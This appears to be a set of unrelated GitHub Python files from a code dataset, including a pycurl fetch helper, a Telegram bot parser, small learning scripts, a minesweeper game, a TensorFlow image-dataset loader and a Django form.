cURL query.\n\n Attributes:\n .url -- the original URL requested.\n .actual_url -- the actual URL loaded, after redirection.\n .headers -- a list of (name, value) tuples for HTTP headers.\n .code -- the response code from the server.\n .duration -- how long the request took, in seconds (float).\n \"\"\"\n def __init__(self, url):\n self.url = url\n self.actual_url = url\n self.headers = []\n self.code = None\n self.duration = None\n self.data = io.BytesIO()\n\n def __enter__(self):\n return self\n\n def __exit__(self, *args):\n self.data.close()\n\n def read(self, *nc):\n return self.data.read(*nc)\n\n def readline(self):\n return self.data.readline()\n\n def seek(self, pos, *rel):\n self.data.seek(pos, *rel)\n\n def tell(self):\n return self.data.tell()\n\n def length(self):\n SEEK_END = 2\n save = self.data.tell()\n try:\n self.data.seek(0, SEEK_END)\n return self.data.tell()\n finally:\n self.data.seek(save)\n\n def keys(self):\n return list(set(s for s, t in self.headers))\n\n def close(self):\n return self.data.close()\n\n def __getitem__(self, itm):\n for s, t in self.headers:\n if itm.lower() == s.lower():\n return t\n else:\n raise KeyError(itm)\n\n\ndef fetch_url(url, headers={}, curl_obj=None):\n \"\"\"Download the specified URL and return a file-like object to\n represent it. The headers, if specified, are included with the\n request to the server.\n\n If no Curl object is specified, a new one will be created for each\n request. To specify custom settings, create your own and pass it\n via the curl_obj parameter. Note that some of the options of your\n object will be modified when this occurs.\n\n This function is similar in spirit to urllib.urlopen().\n \"\"\"\n if curl_obj is None:\n c = objects.Curl()\n c.setopt(constants.CURLOPT_FOLLOWLOCATION, True)\n c.setopt(constants.CURLOPT_MAXREDIRS, 5)\n else:\n c = curl_obj\n\n u = url_result(url)\n c.setopt(constants.CURLOPT_URL, url)\n c.setopt(constants.CURLOPT_WRITEFUNCTION, u.data)\n\n def recv_header(buf):\n if b':' in buf:\n key, val = buf.rstrip(b'\\r\\n').split(b':', 1)\n u.headers.append((key, val.lstrip()))\n\n c.setopt(constants.CURLOPT_HEADERFUNCTION, recv_header)\n if headers:\n c.setopt(constants.CURLOPT_HTTPHEADER,\n list('%s: %s' % (k, v) for k, v in headers.items()))\n c.perform()\n\n u.actual_url = c.getinfo(constants.CURLINFO_EFFECTIVE_URL)\n u.duration = c.getinfo(constants.CURLINFO_TOTAL_TIME)\n u.code = c.getinfo(constants.CURLINFO_RESPONSE_CODE)\n\n u.seek(0)\n return u\n\n\ndef track_location(url, headers={}):\n \"\"\"Return a list of the URL's, beginning from the one given,\n that will be traversed when following the redirect chain from\n the starting URL.\n \"\"\"\n c = objects.Curl()\n c.setopt(constants.CURLOPT_FOLLOWLOCATION, False)\n c.setopt(constants.CURLOPT_NOBODY, True)\n\n cur = url\n out = [url]\n while True:\n u = fetch_url(cur, headers, c)\n v = c.getinfo(constants.CURLINFO_REDIRECT_URL)\n if v is None or v in out:\n break\n out.append(v)\n cur = v\n\n return out\n\n\n__all__ = ('fetch_url', 'track_location')\n\n# Here there be dragons\n","repo_name":"creachadair/curled","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3625,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"13496887858","text":"from typing import NamedTuple, Tuple\r\nimport re\r\nfrom datetime import datetime, date\r\n\r\nimport exceptions\r\nimport categories\r\n\r\n\r\nclass Message(NamedTuple):\r\n \"\"\"Структура распаршенного сообщения о новом занятии\"\"\"\r\n start_time: str\r\n end_time: str\r\n category: str\r\n telegram_id: int\r\n\r\n\r\ndef parse_message(telegram_id: int, raw_message: str) -> Message:\r\n category_and_time = _split_message(raw_message)\r\n print(category_and_time)\r\n _check_time_mod_30(category_and_time)\r\n categories.check_category_in_categories_db(category_and_time[0])\r\n return Message(telegram_id=telegram_id,\r\n end_time=category_and_time[2],\r\n start_time=category_and_time[1],\r\n category=category_and_time[0])\r\n\r\n\r\ndef _split_message(raw_message: str) -> Tuple[str, str, str]:\r\n split_message = re.match(r\"(.*), (\\d\\d:\\d\\d)-(\\d\\d:\\d\\d)\", raw_message)\r\n if not split_message or not split_message.group(0) \\\r\n or not split_message.group(1) or not split_message.group(2) or not split_message.group(3):\r\n raise exceptions.NotCorrectMessage(\r\n \"Не могу понять сообщение. Напишите сообщение в правильом формате, \"\r\n \"например:\\n Еда 18:00-19:30\")\r\n category = split_message.group(1).lower()\r\n start_time = _add_today_date_to_time(split_message.group(2))\r\n end_time = _add_today_date_to_time(split_message.group(3))\r\n return category, start_time, end_time\r\n\r\n\r\ndef _check_time_mod_30(split_message: Tuple[str, str, str]):\r\n start_time_minutes = datetime.strptime(split_message[1], '%Y-%m-%d %H:%M').minute\r\n end_time_minutes = datetime.strptime(split_message[2], '%Y-%m-%d %H:%M').minute\r\n if (start_time_minutes == 0 or start_time_minutes == 30) and (end_time_minutes == 0 or end_time_minutes == 30):\r\n return\r\n else:\r\n raise exceptions.NotCorrectMessage(\r\n \"Введите время в формате ЧЧ:30 или ЧЧ:00,\"\r\n \"например:\\n 18:30 или 19:00\")\r\n\r\n\r\ndef _add_today_date_to_time(time: str) -> str:\r\n today_data = date.today()\r\n f = today_data.strftime('%Y-%m-%d') # вместо datetime сделали str\r\n data_time = f + \" \" + time\r\n\r\n return data_time\r\n","repo_name":"Ekaterina-Va/Bot","sub_path":"parse_message.py","file_name":"parse_message.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12374627863","text":"print(\"Cual es tu nacionalidad?\")\nprint(\"mxn: Mexicana\")\nprint(\"usd: Americana\")\nnationality = input(\"\")\n\nage = int(input(\"Escribe tu edad: \"))\n\nAGE_MAJORITY = {\n \"usd\": 21,\n \"mxn\": 18 \n}\n\nage_majority = AGE_MAJORITY[nationality]\n\nif nationality == \"mxn\":\n if age >= age_majority:\n print(\"Usted es Mexican@ mayor de edad\")\n else:\n print(\"Usted es Mexican@ menor de edad\")\nelse:\n if age >= age_majority:\n print(\"Usted es American@ mayor de edad\")\n else:\n print(\"Usted es American@ menor de edad\")\n","repo_name":"llenrique/python_excersices","sub_path":"age_majority/age.py","file_name":"age.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26140541459","text":"import codecs\nimport os\nimport re\nfrom setuptools import setup\nfrom setuptools.command.test import test as TestCommand\n\nwith codecs.open(os.path.join(os.path.abspath(os.path.dirname(\n __file__)), 'sphinxcontrib', 'asyncio.py'), 'r', 'latin1') as fp:\n try:\n version = re.findall(r\"^__version__ = '([^']+)'\\r?$\",\n fp.read(), re.M)[0]\n except IndexError:\n raise RuntimeError('Unable to determine version.')\n\n\ninstall_requires = ['sphinx>=3.0']\n\n\ndef read(f):\n return open(os.path.join(os.path.dirname(__file__), f)).read().strip()\n\n\nclass PyTest(TestCommand):\n user_options = []\n\n def run(self):\n import subprocess\n import sys\n errno = subprocess.call([sys.executable, '-m', 'pytest', 'tests'])\n raise SystemExit(errno)\n\n\ntests_require = install_requires + ['pytest']\n\n\nsetup(\n name='sphinxcontrib-asyncio',\n version=version,\n description=('sphinx extension to support coroutines in markup'),\n long_description='\\n\\n'.join((read('README.rst'), read('CHANGES.rst'))),\n classifiers=[\n 'Environment :: Plugins',\n 'Framework :: AsyncIO',\n 'Framework :: Sphinx :: Extension',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: Apache Software License',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n 'Topic :: Documentation :: Sphinx',\n 'Topic :: Software Development :: Documentation'],\n author='Andrew Svetlov',\n author_email='andrew.svetlov@gmail.com',\n url='https://github.com/aio-libs/sphinxcontrib-asyncio',\n license='Apache 2',\n packages=['sphinxcontrib'],\n install_requires=install_requires,\n tests_require=tests_require,\n include_package_data=True,\n cmdclass=dict(test=PyTest))\n","repo_name":"aio-libs/sphinxcontrib-asyncio","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"47"} +{"seq_id":"36227360885","text":"# 3 задача\n\nimport random\na, b = int(input(\"введите границы интервала для случайного выбора\")), int(input())\nx = random.randint(a, b)\nwhile True:\n y = int(input(\"угадайте загаданное значение:\"))\n if y == \"здаюсь\":\n break\n elif y < x:\n print(\"Больше\")\n elif y > x:\n print(\"Меньше\")\n elif y == x:\n print(\"Победа\")\nprint(\"загаданное число:\", x)","repo_name":"AlekseyIlyin/Python_start","sub_path":"practice/16-17/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20181769189","text":"import os\nfrom glob import glob\n\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.utils import resample\nimport tensorflow as tf\n\nnp.random.seed(42)\n\n# preparing the dataset\n\nMETADATA_FILE = \"E:\\\\Licenta\\\\HAM10000_metadata\" # the path to the dataset\n\ntf.data.experimental.enable_debug_mode()\n\n\ndef load_dataset(batch_size=32, img_size=(75, 100)):\n skin_df = pd.read_csv(METADATA_FILE)\n\n le = LabelEncoder() # transform the labels into numerical values\n le.fit(skin_df['dx'])\n LabelEncoder()\n\n skin_df['label'] = le.transform(skin_df[\"dx\"])\n\n df_0 = skin_df[skin_df['label'] == 0]\n df_1 = skin_df[skin_df['label'] == 1]\n df_2 = skin_df[skin_df['label'] == 2]\n df_3 = skin_df[skin_df['label'] == 3]\n df_4 = skin_df[skin_df['label'] == 4]\n df_5 = skin_df[skin_df['label'] == 5]\n df_6 = skin_df[skin_df['label'] == 6]\n\n # balancing the dataset\n\n n_samples = 500 # the final number of images for each class\n df_0_balanced = resample(df_0, replace=True, n_samples=n_samples, random_state=42)\n df_1_balanced = resample(df_1, replace=True, n_samples=n_samples, random_state=42)\n df_2_balanced = resample(df_2, replace=True, n_samples=n_samples, random_state=42)\n df_3_balanced = resample(df_3, replace=True, n_samples=n_samples, random_state=42)\n df_4_balanced = resample(df_4, replace=True, n_samples=n_samples, random_state=42)\n df_5_balanced = resample(df_5, replace=True, n_samples=n_samples, random_state=42)\n df_6_balanced = resample(df_6, replace=True, n_samples=n_samples, random_state=42)\n\n skin_df_balanced = pd.concat([df_0_balanced, df_1_balanced,\n df_2_balanced, df_3_balanced,\n df_4_balanced, df_5_balanced, df_6_balanced])\n\n image_path = {os.path.splitext(os.path.basename(x))[0]: x\n for x in glob(os.path.join('E:\\\\Dataset\\\\HAM10000_images', '*.jpg'))} # associated path\n\n skin_df_balanced['path'] = skin_df_balanced['image_id'].map(image_path.get)\n\n @tf.function\n def _update_image(el):\n img = tf.io.read_file(el['path'])\n img = tf.image.decode_png(img, channels=3)\n resized_img = tf.image.resize(img, img_size) # resize the images\n resized_img = tf.cast(resized_img, dtype=tf.float32) / 255. # normalize to [0, 1]\n return resized_img, el['label']\n\n ds = tf.data.Dataset.from_tensor_slices(dict(skin_df_balanced))\n ds = ds.shuffle(skin_df_balanced.size, seed=42) # shuffle data\n ds = ds.map(_update_image, num_parallel_calls=tf.data.AUTOTUNE)\n\n ds = ds.cache('E:\\\\Dataset\\\\cache_dir\\\\cache')\n ds = ds.prefetch(buffer_size=tf.data.AUTOTUNE)\n\n @tf.function\n def _update_label(img, label):\n return img, tf.one_hot(label, 7) # one hot encoded data\n\n ds = ds.map(_update_label, num_parallel_calls=tf.data.AUTOTUNE)\n\n val_split = 700\n val_ds = ds.take(val_split)\n train_ds = ds.skip(val_split)\n\n train_ds = train_ds.repeat().batch(batch_size, drop_remainder=True)\n val_ds = val_ds.repeat().batch(batch_size, drop_remainder=True)\n\n # return the tran and validation datasets\n return train_ds, val_ds\n","repo_name":"marinvanessa/The-Detection-of-Dermatological-Disorders-Through-Image-Analysis","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8770888809","text":"import json \n\nwith open('export_result_TG_account_N4.json', 'r') as json_file:\n dict_3 = json.load(json_file) # Load JSON file directly to a Python dictionary \n# print(type(dict_3))\n\nabout_section_value = dict_3['about']\n# print(about_section_value)\n# print(type(about_section_value))\n\nfirst_name_value = dict_3['contacts']['list'][1]['first_name']\n# print(first_name_value)\n# print(type(first_name_value))\n\nlast_active_values = dict_3[\"sessions\"][\"list\"][0][\"last_active\"]\n# print(last_active_values)\n# print(type(last_active_values))\n\nfor k in dict_3[\"sessions\"][\"list\"]:\n print(k[\"last_active\"])\n # print(type(k[\"last_active\"]))\n\n# c_1 = open('export_result_TG_account_N4.json')\n# string_1 = c_1.read()\n# print(type(string_1))\n\n# dict_1 = json.loads(string_1)\n# print(dict_1)\n# print(type(dict_1))\n\n# dict_2 = json.load(c_1)\n# print(dict_2)\n# print(type(dict_2))\n","repo_name":"DS-jr/Correspondence-Analyser-Script","sub_path":"v2_experiments_exported_data.py","file_name":"v2_experiments_exported_data.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39931598488","text":"print(\"Hello World\")\nname = \"Maria Solis\"\nname1 = \"Jalen Solis\"\nprint(name,\"and\" ,name1)\n\n#dictionaries {}\nperson = {\n \"key\" : \"value\",\n \"name\" : \"Jay\",\n \"From\" : \"Hawaii\"\n }\nprint(person[\"From\"])\n\n#tuple can not alter ()\nkids = (\"Maria\", \"Jalen\")\n\n#set {} unique values and does not remember order\nfoods = {\"Pizza\", \"Tacos\", \"Ice Cream\", \"Pizza\", \"Pizza\", \"Tacos\"}\nprint(foods)\n\n#booleans\nis_adult = True\n\n#integer\nage = 30\n\n#float\npi = 3.14\n\n#indexing\n\n#from string start at 0\nprint(len(name))\nprint(name[0:5]) #Substring start at M and stop at space\n\n#list start at 0 : end \ngroceries = [\"Milk\", \"Eggs\", \"Ice Cream\", \"Coke\", \"Coffee\"]\nprint(groceries[0:2]) #stop at 2\n\n#function\ndef thing():\n \"\"\"\n Hello this is a docstring comment\n \"\"\"\n pass\n\n\n#string formatting\nnew_name = \"Python\"\ncourse = \"{} for everybody\".format(new_name)\nprint(course)\nprint(f\"the course is {new_name}\")#newer\nprint(\"This %s\" % \"also works\") #older\n\n#files\nwith open(\"try.py\", \"w\") as file_handler:\n file_handler.write(\"print('Ayo it works')\") #writes a command\n file_handler.close()\n\nwith open(\"try.py\", \"r\") as file_reader:\n content = file_reader.read()\n file_reader.close()\n\nprint(content)\n\n#comparison op\nmaria = \"in love with Jalen\"\nif maria == \"Hates Jalen\":\n print(\"Yes you do\")\nelif maria == \"Does not like Jalen\":\n print(\"of course\")\nelse:\n print(f\"Ya sureeee, you are {maria}\")\n\n#for loop\nfor item in groceries:\n print(f\"The item is {item}\")\nfor letter in name:\n print(f\"{letter}\")\nfor letter in name:\n l = letter.lower()\n if l in 'aeiouy':\n print(f\"Vowel is: {l}\")\n continue\n if l == \"s\":\n print(\"Found the S\")\n break\n\n#while loop\nnum = 0\n\nwhile num < 10:\n print(num)\n num= num+1\n\n#list comprehension\nnums = [1,2,3,4,5,6,7,8,9,10] #list\ntimes_ten = [num*10 for num in nums]\nprint(times_ten)\ntimes_ten_condition = [num*10 for num in nums if num%2 == 0]\nprint(times_ten_condition)\n\n#functions with return\ndef maria(who):\n return \"Maria Hates \" + who\nprint(maria(\"Jalen\"))\n\n#functions without return\ndef maria_hates(hates, loves):\n print(f\"Maria absolutely hates {hates}, and loves {loves}\")\nmaria_hates(\"Jalen\", \"some other hoe\")\n\n#class \nclass Person:\n loves = \"Maria\"\njalen = Person()\nprint(jalen.loves)\n\nclass Lover:\n def __init__(self, name, age, food):\n self.name = name\n self.age = age\n self.food = food\n def loves_who(self):\n print(f\"Who do you love {self.name}?\")\n def get_food(self):\n print(f\"i want to eat {self.food}\")\n def __str__(self):\n return self.name + \" is the best\"\n\nMaria = Lover(\"Maria\", 21, \"Tacos\")\nMaria.get_food()\nprint(Maria)\n\n#try and except\ntry:\n 1/0\nexcept Exception as e:\n print(e)\n print(type(e))\n","repo_name":"frip-fluffy/GitStuff","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23532844759","text":"##Consejos para ejecutar el programa:\n\n#En la carpeta se encuentra dos archivos de prueba para el programa para ejecución rapida, \n#puede correr el programa con la opción 1 y escribir \"prueba1.txt\" y se generará el archivo para la opción 2.\n#Para correr el programa con la opción 2 y introducir: \"prueba2.txt\" e irá directamente al juego\n##\n\n##\n#Opción 1: Introducir un .txt con:\n#1ra linea: Largo del cuadrado de buscamina\n#2da linea: Dificultad a escoger F, M, D, X (aumenta dificultad de izquierda a derecha)\n#\n#Resultado: Un archivo .sal con el tamaño y las ubicaciones de las bombas\n##\n\n##\n# Opción 2: Introducir un archivo de texto autogenerado con la opción 1 o un archivo de texto con 1ra linea el largo y el resto con las ubicaciones de bombas separadas por un salto de linea:\n##\n\n##\n# Opción 3: Salir del juego\n##\n\n#Consejo 1: Al introducir archivos debe incluir la extensión de este\n#Consejo 2: En caso de usar para la opción 2 un archivo generado por la 1, tenga cuidado con la extensión del archivo, ya que genera un .sal\n#Consejo 3: Para abrir casillas escriba primero la letra seguido del número (sin espacio entre estos)\n#Consejo 4: Al abrir una casilla le saldrá el número de casillas que tiene alrededor (incluyendo las diagonales)\n#Consejo 5: En caso de escribir una casilla invalida no se perderá el juego\n#Consejo 6: Si desea salir en medio del juego presionar ctrl + C\n#Consejo 7: En caso de liberar todas las casillas, habrá ganado el juego y saldrá el mensaje correspondiente\n\nfrom random import choice,randint\nfrom io import open\n\ndef extraer_archivo(nombre_archivo):\n archivo=open(str(nombre_archivo),\"r\")\n archivo_listas=archivo.readlines()\n\n archivo.close()\n return int(archivo_listas[0]),archivo_listas[1]\n\n\ndef cantidad_minas(altura_tablero,dificultad):\n trampas=0\n if dificultad==\"F\":\n trampas=pow(altura_tablero,2)*0.1\n elif dificultad==\"M\":\n trampas=pow(altura_tablero,2)*0.15\n elif dificultad==\"D\":\n trampas=pow(altura_tablero,2)*0.2\n elif dificultad==\"X\":\n trampas=pow(altura_tablero,2)*0.3\n return int(trampas)\n\ndef lugares_minas_funcion(altura_tablero,dificultad,nombre_archivo):\n lugares=[]\n lugares_str_vertical=\"\"\n lugares_str=\"\"\n bombas=cantidad_minas(altura_tablero,dificultad) #Define la cantidad de minas del tablero, dependiendo de la dificultad y altura\n bombas_lista=[]\n for iterante_letras in range(altura_tablero): #Crea la matriz del tablero\n creador_lista_letras=chr(65+iterante_letras)\n lugares.append(creador_lista_letras)\n for cantidad_de_bombas in range(bombas): #Da lugares a las bombas\n fila_bomba=choice(lugares)\n columna_bomba=str(randint(1,altura_tablero))\n if fila_bomba+columna_bomba in bombas_lista:\n while fila_bomba+columna_bomba in bombas_lista:\n fila_bomba=choice(lugares)\n columna_bomba=str(randint(1,altura_tablero))\n bombas_lista.append(fila_bomba+columna_bomba)\n\n for iterante_bombas_listas in bombas_lista: #Pasa la ubicaciones de las bombas a String\n lugares_str_vertical+=iterante_bombas_listas\n lugares_str_vertical+=\"\\n\"\n lugares_str+=iterante_bombas_listas+\",\"\n lugares_str+=\";\"\n archivo=open(str(nombre_archivo[:-4]+\".sal\"),\"w\")\n archivo.write(str(altura_tablero)+\"\\n\"+lugares_str_vertical)\n archivo.close()\n return bombas_lista,lugares_str\n\ndef letras(altura_tablero):\n codigo=\" \"\n for filas_numeros in range(1,altura_tablero+1):\n if filas_numeros<10:\n codigo+=str(filas_numeros)+\" \"\n if filas_numeros>=10:\n codigo+=str(filas_numeros)+\" \"\n return codigo\n\ndef reemplazaaar(casilla,lugares_lista,lista_tablero,casillas_marcadas):\n if casilla!=\"\" and casilla not in casillas_marcadas:\n if casilla in lugares_lista:\n for lista_por_filas in lista_tablero[1:]:\n if casilla[0] in lista_por_filas:\n lista_por_filas[int(casilla[1:])*3]=\"*\"\n validador=1\n else:\n for lista_por_filas in lista_tablero[1:]:\n if casilla[0] in lista_por_filas:\n lista_por_filas[int(casilla[1:])*3]=str(definir_numero(casilla,lugares_lista,altura_tablero))\n validador=0\n if casilla not in casillas_marcadas:\n casillas_marcadas.append(casilla)\n else:\n validador=0\n return lista_tablero,casillas_marcadas,validador\n\ndef reemplazaaar2(lista_tablero,lugares_lista):\n for reemplazar_por_minas in lugares_lista:\n for lista_por_filas in lista_tablero[1:]:\n if reemplazar_por_minas[0] in lista_por_filas:\n lista_por_filas[int(reemplazar_por_minas[1:])*3]=\"*\"\n return lista_tablero\n\ndef generar_busca_minas(altura_tablero,lugares_lista):\n minimo_chr,lista_tablero=65,[]\n tablero_a_str=\"\"\n numeros_str=letras(altura_tablero)\n lista_tablero.append(list(numeros_str))\n for iterante_creador_listas in range(altura_tablero):\n lista_tablero.append(list(chr(minimo_chr+iterante_creador_listas)+(\" \"*(altura_tablero*3+1))))\n\n for lista_por_filas in lista_tablero[1:]:\n for lista_por_columna in range(len(lista_por_filas)//3):\n if lista_por_filas[lista_por_columna*3+3]==\" \":\n lista_por_filas[lista_por_columna*3+3]=\".\"\n for listas in lista_tablero[1:]:\n tablero_a_str+=\"\\n\"\n for listas_de_listas in listas:\n tablero_a_str+=str(listas_de_listas)\n\n return numeros_str,tablero_a_str,lista_tablero\n\n\ndef generar_busca_minas2(lista_tablero,casilla,lugares_lista,altura_tablero,casillas_marcadas):\n casilla=casilla.upper()\n codigo=letras(altura_tablero)\n tablero_a_str=\"\"\n lista_tablero,casillas_marcadas,validador=reemplazaaar(casilla,lugares_lista,lista_tablero,casillas_marcadas)\n for lista_por_filas in lista_tablero[1:]:\n tablero_a_str+=\"\\n\"\n if lista_por_filas==0:\n break\n for iterante_para_str in lista_por_filas:\n tablero_a_str+=str(iterante_para_str)\n\n return codigo,tablero_a_str,lista_tablero,casillas_marcadas,validador\n\ndef generar_buscaminas3(lista_tablero,lugares_lista):\n tablero_a_str=\"\"\n lista_tablero=reemplazaaar2(lista_tablero,lugares_lista)\n codigo=letras(altura_tablero)\n for lista_por_filas in lista_tablero[1:]:\n tablero_a_str+=\"\\n\"\n for iterante_para_str in lista_por_filas:\n tablero_a_str+=str(iterante_para_str)\n return tablero_a_str,lista_tablero,codigo\n\n\ndef extraer_archivo2(nombre_archivo):\n lugares_lista=[]\n lugares_str=\"\"\n archivo=open(str(nombre_archivo),\"r\")\n archivo_listas=archivo.readlines()\n altura_tablero=int(archivo_listas[0])\n if len(archivo_listas[1:])==1:\n for lista_bombas in archivo_listas[1:]:\n lugares_lista.append(lista_bombas[:])\n lugares_str+=lista_bombas\n else:\n for lista_bombas in archivo_listas[1:]:\n if lista_bombas==archivo_listas[-1]:\n lugares_lista.append(lista_bombas[:])\n lugares_str+=lista_bombas\n else:\n lugares_lista.append(lista_bombas[:-1])\n lugares_str+=lista_bombas\n return altura_tablero,lugares_lista,lugares_str\n\ndef minas_lados(coordenada,lugares_lista):\n num=0\n if coordenada[0]+str(int(coordenada[1:])+1) in lugares_lista:\n num+=1\n if coordenada[0]+str(int(coordenada[1:])-1) in lugares_lista:\n num+=1\n return num\n\ndef minas_arriba(coordenada,lugares_lista):\n num=0\n if chr(ord(coordenada[0])-1)+str(int(coordenada[1:])) in lugares_lista:\n num+=1\n if chr(ord(coordenada[0])-1)+str(int(coordenada[1:])+1) in lugares_lista:\n num+=1\n if chr(ord(coordenada[0])-1)+str(int(coordenada[1:])-1) in lugares_lista:\n num+=1\n return num\n\ndef minas_abajo(coordenada,lugares_lista):\n num=0\n if chr(ord(coordenada[0])+1)+str(int(coordenada[1:])) in lugares_lista:\n num+=1\n if chr(ord(coordenada[0])+1)+str(int(coordenada[1:])+1) in lugares_lista:\n num+=1\n if chr(ord(coordenada[0])+1)+str(int(coordenada[1:])-1) in lugares_lista:\n num+=1\n return num\n\ndef definir_numero(coordenada,lugares_lista,cant):\n\n letra=ord(coordenada[0])-64\n if letra==cant:\n num1=int(minas_lados(coordenada,lugares_lista))\n num2=int(minas_arriba(coordenada,lugares_lista))\n num=num1+num2\n else:\n num1=int(minas_lados(coordenada,lugares_lista))\n num2=int(minas_arriba(coordenada,lugares_lista))\n num3=int(minas_abajo(coordenada,lugares_lista))\n num=num1+num2+num3\n return num\n\ncasilla=\"\"\ncasillas_marcadas=[]\nvalidador=0\na=1\nopción=input(\"Escoge una opción: (1) Generar tablero (2) Cargar tablero (3) Salir: \")\nif ((len(opción)>1 or len(opción)<1) or (ord(opción)>51 or ord(opción)<49)):\n while (len(opción)>1 or len(opción)<1) or (ord(opción)>51 or ord(opción)<49):\n print(\"¡Opción invalida!\")\n opción=input(\"Escoge una opción: (1) Generar tablero (2) Cargar tablero (3) Salir: \")\nopción=int(opción)\n\n\nif opción==1:\n\n nombre_archivo=input(\"Ingresa el nombre del archivo: \")\n altura_tablero,dificultad=extraer_archivo(nombre_archivo)\n lugares_lista,lugares_str=lugares_minas_funcion(altura_tablero,dificultad,nombre_archivo)\n exit\nelif opción==2:\n nombre_archivo=input(\"Ingresa el nombre del archivo: \")\n altura_tablero,lugares_lista,lugares_str=extraer_archivo2(nombre_archivo)\n\n codigo,tablero_a_str,lista_tablero=generar_busca_minas(altura_tablero,lugares_lista)\n print(codigo+tablero_a_str)\n while validador==0:\n if len(casillas_marcadas)==(pow(altura_tablero,2)-len(lugares_lista)):\n tablero_a_str,lista_tablero,codigo=generar_buscaminas3(lista_tablero,lugares_lista)\n\n print(\"\\n\"+codigo+tablero_a_str)\n print(\"¡GANASTE!\")\n break\n\n casilla=input(\"Ingresa la casilla del tablero que quieres abrir: \").upper()\n\n if len(casilla)<2 or len(casilla)>3:\n while len(casilla)<2 or len(casilla)>3:\n print(\"¡Casilla invalida!, ingrese una casilla de la tabla.\")\n if len(casilla)==2 or len(casilla)==3:\n break\n else:\n casilla=input(\"Ingresa la casilla del tablero que quieres abrir: \").upper()\n\n if (65>ord(casilla[0]) or ord(casilla[0])>=65+altura_tablero) or (0>int(casilla[1:]) or int(casilla[1:])>altura_tablero):\n while (65>ord(casilla[0]) or ord(casilla[0])>=65+altura_tablero) or (0>int(casilla[1:]) or int(casilla[1:])>altura_tablero):\n casilla=input(\"¡Casilla invalida!, ingrese una casilla de la tabla.\").upper()\n\n\n if 65<=ord(casilla[0]) str:\n if len(palindrome)<=1:\n return \"\"\n palindrome=list(palindrome)\n for i in range(len(palindrome)):\n if palindrome[i]==\"a\":\n continue\n else:\n temp=palindrome[i]\n palindrome[i]=\"a\"\n if palindrome[::-1]!=palindrome:\n return \"\".join(palindrome)\n palindrome[i]=temp\n if palindrome[-1]!=\"b\":\n palindrome[-1]=\"b\"\n return \"\".join(palindrome)\n","repo_name":"sreyansb/LeetCode","sub_path":"SEP2021/23.py","file_name":"23.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"25672115687","text":"import torch\r\n\r\nmodel_ID = 0 # 0 HCP, 1 TgNN, 2 ANN\r\n\r\nif model_ID == 0: # HCP\r\n use_HCP = True\r\n use_ANN = False\r\nif model_ID == 1: # TgNN\r\n use_HCP = False\r\n use_ANN = False\r\nif model_ID == 2: # ANN\r\n use_HCP = False\r\n use_ANN = True\r\n \r\nnum_epoch_hyper=2000\r\n\r\nNf_hyper=1000 # collocation number\r\nN_boun_hyper = 10000\r\nN_no_flow = N_boun_hyper\r\nN_h = 10 # the number of observations at each step\r\nBATCH_SIZE_hyper = int(N_h*18/2)\r\n\r\nseed = 38\r\nplot_value_surface = False\r\n\r\nnx=51 #网格个数\r\nny=51\r\nnt=50 #时间步数\r\nL_t=10 #时间总长\r\n\r\nuse_noise = False\r\nnoise = 0.6\r\n\r\nuse_outlier = False\r\noutlier_per = 0.1\r\n\r\n#设备设置\r\ndevice = torch.device('cuda:1')\r\n#device = torch.device('cpu')\r\n\r\n","repo_name":"YuntianChen/Hard_constraint_projection_HCP","sub_path":"configure.py","file_name":"configure.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"47"} +{"seq_id":"25645258806","text":"from crispy_forms.helper import FormHelper\nfrom django import forms\nfrom django.db.models import Q\nfrom django.urls import reverse\n\nfrom ..models import FundingInstrument, FinancialKey\n\n\nclass FundingInstrumentForm(forms.ModelForm):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.helper = FormHelper(self)\n self.helper.form_tag = False\n\n # funding_instrument is the Boolean field. fundinginstrument is the reverse relationship for the OneToOne\n self.fields['short_name'].queryset = FinancialKey.objects.filter(funding_instrument=True).filter(\n Q(fundinginstrument__isnull=True) | Q(fundinginstrument=self.instance))\n\n self.fields[\n 'short_name'].help_text = f'Select a funding instrument acronym. This needs to be a financial key. Please create one if needed and refresh this page'\n\n class Meta:\n model = FundingInstrument\n fields = ['long_name', 'short_name', 'description']\n","repo_name":"Swiss-Polar-Institute/project-application","sub_path":"ProjectApplication/project_core/forms/funding_instrument.py","file_name":"funding_instrument.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"} +{"seq_id":"37717903407","text":"## Building a tf-idf matrix for string matching\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport re\nimport numpy as np\n\nclass Matcher(object):\n def 